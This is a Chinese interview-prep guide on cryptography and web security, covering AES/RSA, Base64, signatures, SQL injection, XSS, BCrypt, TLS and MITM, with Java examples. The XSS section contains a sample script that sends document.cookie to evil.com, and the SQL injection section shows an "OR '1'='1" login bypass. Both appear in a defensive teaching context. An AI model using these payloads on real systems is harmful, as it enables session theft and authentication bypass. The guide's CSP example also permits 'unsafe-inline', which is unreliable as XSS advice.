Organized 50 interview questions into 12 categories: - 01-分布式系统 (9 files): 分布式事务, 分布式锁, 一致性哈希, CAP理论, etc. - 02-数据库 (2 files): MySQL索引优化, MyBatis核心原理 - 03-缓存 (5 files): Redis数据结构, 缓存问题, LRU算法, etc. - 04-消息队列 (1 file): RocketMQ/Kafka - 05-并发编程 (4 files): 线程池, 设计模式, 限流策略, etc. - 06-JVM (1 file): JVM和垃圾回收 - 07-系统设计 (8 files): 秒杀系统, 短链接, IM, Feed流, etc. - 08-算法与数据结构 (4 files): B+树, 红黑树, 跳表, 时间轮 - 09-网络与安全 (3 files): TCP/IP, 加密安全, 性能优化 - 10-中间件 (4 files): Spring Boot, Nacos, Dubbo, Nginx - 11-运维 (4 files): Kubernetes, CI/CD, Docker, 可观测性 - 12-面试技巧 (1 file): 面试技巧和职业规划 All files renamed to Chinese for better accessibility and organized into categorized folders for easier navigation. Generated with [Claude Code](https://claude.com/claude-code) via [Happy](https://happy.engineering) Co-Authored-By: Claude <noreply@anthropic.com> Co-Authored-By: Happy <yesreply@happy.engineering>
16 KiB
16 KiB
加密与安全
问题
- 对称加密和非对称加密的区别是什么?
- Base64 是加密吗?为什么?
- 什么是数字签名?如何防止数据篡改?
- HTTPS 中的 TLS 握手过程是怎样的?
- 什么是中间人攻击?如何防范?
- SQL 注入和 XSS 攻击的原理和防范措施?
- 密码存储的最佳实践是什么?
- 在实际项目中如何保证数据安全?
标准答案
1. 对称加密 vs 非对称加密
对称加密
特点:加密和解密使用同一个密钥。
加密:明文 + 密钥 → 密文
解密:密文 + 密钥 → 明文
常见算法:
- AES(Advanced Encryption Standard):推荐
- DES(Data Encryption Standard):已过时(密钥太短)
- 3DES:DES 的改进,但速度慢
- RC4:已不安全
Java 示例:
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.util.Base64;
public class AESExample {
public static void main(String[] args) throws Exception {
// 生成密钥
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256); // AES-256
SecretKey secretKey = keyGen.generateKey();
// 加密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
// 解密
cipher.init(Cipher.DECRYPT_MODE, secretKey);
byte[] decrypted = cipher.doFinal(encrypted);
System.out.println("解密:" + new String(decrypted));
}
}
优点:
- 速度快(比非对称加密快 100-1000 倍)
- 适合加密大量数据
缺点:
- 密钥分发困难(如何安全地共享密钥?)
非对称加密
特点:加密和解密使用不同的密钥(公钥和私钥)。
公钥加密:明文 + 公钥 → 密文
私钥解密:密文 + 私钥 → 明文
或者:
私钥签名:明文 + 私钥 → 签名
公钥验签:签名 + 公钥 → 验证
常见算法:
- RSA:最常用
- ECC(椭圆曲线加密):密钥更短,速度更快
- DSA:数字签名算法
Java 示例:
import java.security.*;
import javax.crypto.Cipher;
import java.util.Base64;
public class RSAExample {
public static void main(String[] args) throws Exception {
// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();
// 公钥加密
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
// 私钥解密
cipher.init(Cipher.DECRYPT_MODE, privateKey);
byte[] decrypted = cipher.doFinal(encrypted);
System.out.println("解密:" + new String(decrypted));
}
}
优点:
- 无需安全分发密钥(公钥可以公开)
- 可用于数字签名
缺点:
- 速度慢(比对称加密慢 100-1000 倍)
- 不适合加密大量数据
混合加密(HTTPS 使用)
1. 使用非对称加密协商对称密钥
2. 使用对称密钥加密数据
优点:
- 结合两者优点(安全 + 速度)
2. Base64 是加密吗?
答案:不是!
Base64 是编码,不是加密。
目的:
- 将二进制数据转换为 ASCII 字符串
- 方便在文本协议中传输(如 HTTP、Email)
原理:
二进制:01001000 0110101 01011011
Base64:SGVsbG8=
编码表(64 个字符):
A-Z (26) + a-z (26) + 0-9 (10) + + / (2) = 64
特点:
- 可逆(可解码)
- 无密钥(任何人都能解码)
- 数据会增大 33%
示例:
import java.util.Base64;
public class Base64Example {
public static void main(String[] args) {
String original = "Hello World";
// 编码
String encoded = Base64.getEncoder().encodeToString(original.getBytes());
System.out.println("编码:" + encoded); // SGVsbG8gV29ybGQ=
// 解码
String decoded = new String(Base64.getDecoder().decode(encoded));
System.out.println("解码:" + decoded); // Hello World
}
}
错误用法:
// ❌ 用 Base64 存储密码(不安全)
String password = "123456";
String encoded = Base64.getEncoder().encodeToString(password.getBytes());
// 存储到数据库
// 攻击者可以直接解码!
3. 数字签名
原理
数字签名用于验证:
- 完整性:数据未被篡改
- 身份认证:发送者确实是声称的人
- 不可抵赖:发送者无法否认发送过
流程:
发送方(签名):
1. 对原文计算哈希:hash = SHA256(原文)
2. 用私钥加密哈希:signature = RSA_Encrypt(hash, 私钥)
3. 发送:原文 + signature
接收方(验签):
1. 对原文计算哈希:hash1 = SHA256(原文)
2. 用公钥解密签名:hash2 = RSA_Decrypt(signature, 公钥)
3. 对比 hash1 和 hash2
- 相同 → 签名有效
- 不同 → 数据被篡改
Java 实现
import java.security.*;
import java.util.Base64;
public class DigitalSignatureExample {
public static void main(String[] args) throws Exception {
// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
// 待签名数据
String data = "重要合同内容";
// 签名
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data.getBytes());
byte[] signatureBytes = signature.sign();
System.out.println("签名:" + Base64.getEncoder().encodeToString(signatureBytes));
// 验签
signature.initVerify(publicKey);
signature.update(data.getBytes());
boolean isValid = signature.verify(signatureBytes);
System.out.println("验签结果:" + isValid);
}
}
实际应用
- 软件签名:验证软件来源
- 代码签名:防止代码被篡改
- PDF 签名:电子合同
- JWT(JSON Web Token):API 认证
// JWT 示例
String token = Jwts.builder()
.setSubject("user123")
.signWith(Keys.hmacShaKeyFor(secretKey), SignatureAlgorithm.HS256)
.compact();
// 验证 JWT
Claims claims = Jwts.parserBuilder()
.setSigningKey(secretKey)
.build()
.parseClaimsJws(token)
.getBody();
4. SQL 注入攻击
原理
攻击者在输入中注入恶意 SQL 代码。
示例:
// ❌ 不安全的代码(拼接 SQL)
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
// 攻击者输入:
username = "admin' OR '1'='1";
password = "anything"
// 实际执行的 SQL:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
// 结果:永远为真,绕过密码验证!
危害:
- 绕过认证
- 窃取数据
- 删除数据
- 提升权限
防范措施
1. 使用预编译语句(PreparedStatement):
// ✅ 安全代码
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
原理:参数化查询,SQL 结构固定,参数不会被解析为 SQL 代码。
2. 输入验证:
// 验证用户名格式
if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
throw new IllegalArgumentException("用户名格式不正确");
}
3. 最小权限原则:
-- 应用用户只授予必要权限
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
-- 不要授予 DROP、ALTER 等危险权限
4. 使用 ORM:
// JPA/Hibernate 自动防止 SQL 注入
User user = userRepository.findByUsernameAndPassword(username, password);
5. XSS 攻击(跨站脚本攻击)
原理
攻击者在网页中注入恶意 JavaScript 代码。
示例:
<!-- 用户输入评论 -->
<script>
// 攻击者注入的代码
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
危害:
- 窃取 Cookie
- 会话劫持
- 重定向到钓鱼网站
- 篡改网页内容
防范措施
1. 输出转义:
// 使用 Spring 的 HTML 转义
import org.springframework.web.util.HtmlUtils;
String userInput = "<script>alert('XSS')</script>";
String escaped = HtmlUtils.htmlEscape(userInput);
// 输出:<script>alert('XSS')</script>
2. CSP(Content Security Policy):
# HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
3. HttpOnly Cookie:
// 设置 Cookie 为 HttpOnly(JavaScript 无法访问)
Cookie cookie = new Cookie("session", token);
cookie.setHttpOnly(true);
cookie.setSecure(true); // 仅 HTTPS 传输
response.addCookie(cookie);
4. 输入验证:
// 白名单验证
if (!comment.matches("[a-zA-Z0-9 \\u4e00-\\u9fa5]+")) {
throw new IllegalArgumentException("评论包含非法字符");
}
6. 密码存储
错误做法
// ❌ 明文存储
password = "123456";
// ❌ Base64 编码(可逆)
password = Base64.getEncoder().encodeToString("123456".getBytes());
// ❌ MD5 哈希(易被彩虹表破解)
password = DigestUtils.md5Hex("123456"); // e10adc3949ba59abbe56e057f20f883e
正确做法:BCrypt
特点:
- 自动加盐(Salt)
- 慢哈希(防暴力破解)
- 可调整计算成本
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
public class PasswordExample {
public static void main(String[] args) {
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
// 加密(自动加盐)
String rawPassword = "123456";
String encodedPassword = encoder.encode(rawPassword);
System.out.println("加密后:" + encodedPassword);
// 输出:$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
// 验证
boolean matches = encoder.matches(rawPassword, encodedPassword);
System.out.println("验证结果:" + matches); // true
}
}
密码存储最佳实践
-
使用慢哈希算法:
- BCrypt(推荐)
- Argon2(最新)
- PBKDF2
- Scrypt
-
每个密码独立的盐:
salt = random_bytes(16); hashed_password = hash(password + salt); -
调整计算成本:
// BCrypt 成本参数(10-12 为宜) BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); -
不要自己发明加密算法
7. HTTPS 完整流程
客户端 服务器
│ │
│─────── ClientHello ────────────→│
│ (支持的加密套件、随机数1) │
│ │
│←────── ServerHello ─────────────│
│ (选择的加密套件、随机数2、证书) │
│←────── Certificate ─────────────│
│ │
│─────── 验证证书 ────────────────│
│ (检查 CA 签名、有效期等) │
│ │
│─────── 生成随机数3 ─────────────→│
│─────── 用公钥加密随机数3 ─────────→│
│ │
│ 服务器用私钥解密
│ 生成会话密钥:
│ master_secret = PRF(随机数1, 随机数2, 随机数3)
│ │
│←─────── ChangeCipherSpec ────────│
│←─────── Finished ────────────────│
│ (用会话密钥加密,证明安全) │
│ │
│─────── ChangeCipherSpec ─────────→│
│─────── Finished ────────────────→│
│ (用会话密钥加密) │
│ │
│══════ 加密通信 ══════════════════│
│ (使用会话密钥对称加密) │
8. 中间人攻击
原理
攻击者拦截并可能篡改通信双方的通信内容。
客户端 攻击者 服务器
│ │ │
├─── HTTPS 请求 ────→│ │
│ ├─── 伪造请求 ───────→│
│ │ │
│←──── 伪造响应 ──────│←──── 真实响应 ──────│
│←────────────────────│ │
防范措施
1. HTTPS + 证书验证:
- 验证服务器证书
- 检查证书链
- 验证证书有效期
2. HSTS(HTTP Strict Transport Security):
Strict-Transport-Security: max-age=31536000; includeSubDomains
3. 证书固定(Certificate Pinning):
// 移动应用中固定证书
public class CertificatePinner {
private static final String KNOWN_CERT = "SHA256:AAAAAAAAA...";
public void verifyCertificate(X509Certificate cert) {
String certHash = calculateCertificateHash(cert);
if (!certHash.equals(KNOWN_CERT)) {
throw new SSLException("证书不匹配");
}
}
}
9. 实际项目安全实践
安全检查清单
- 所有用户输入都经过验证和转义
- 密码使用 BCrypt 存储且每次加不同的盐
- 敏感数据在传输时使用 HTTPS 加密
- 敏感数据在存储时使用 AES 加密
- API 使用 JWT 或 OAuth2 认证
- 实施 CSRF 防护(CSRF Token)
- 实施 CORS 限制
- 设置安全响应头(CSP、X-Frame-Options 等)
- 定期进行安全审计和渗透测试
- 使用依赖扫描工具检查漏洞
10. 阿里 P7 加分项
深度理解:
- 理解各种加密算法的数学原理
- 理解 TLS 1.3 的改进
- 理解零知识证明等高级加密技术
实战经验:
- 有处理线上安全漏洞的经验
- 有设计安全架构的经验
- 有加密性能优化的经验
架构能力:
- 能设计安全的认证和授权体系
- 能设计数据加密方案
- 能制定安全开发规范
合规要求:
- 了解 GDPR、等保等安全合规要求
- 有安全审计和风险评估经验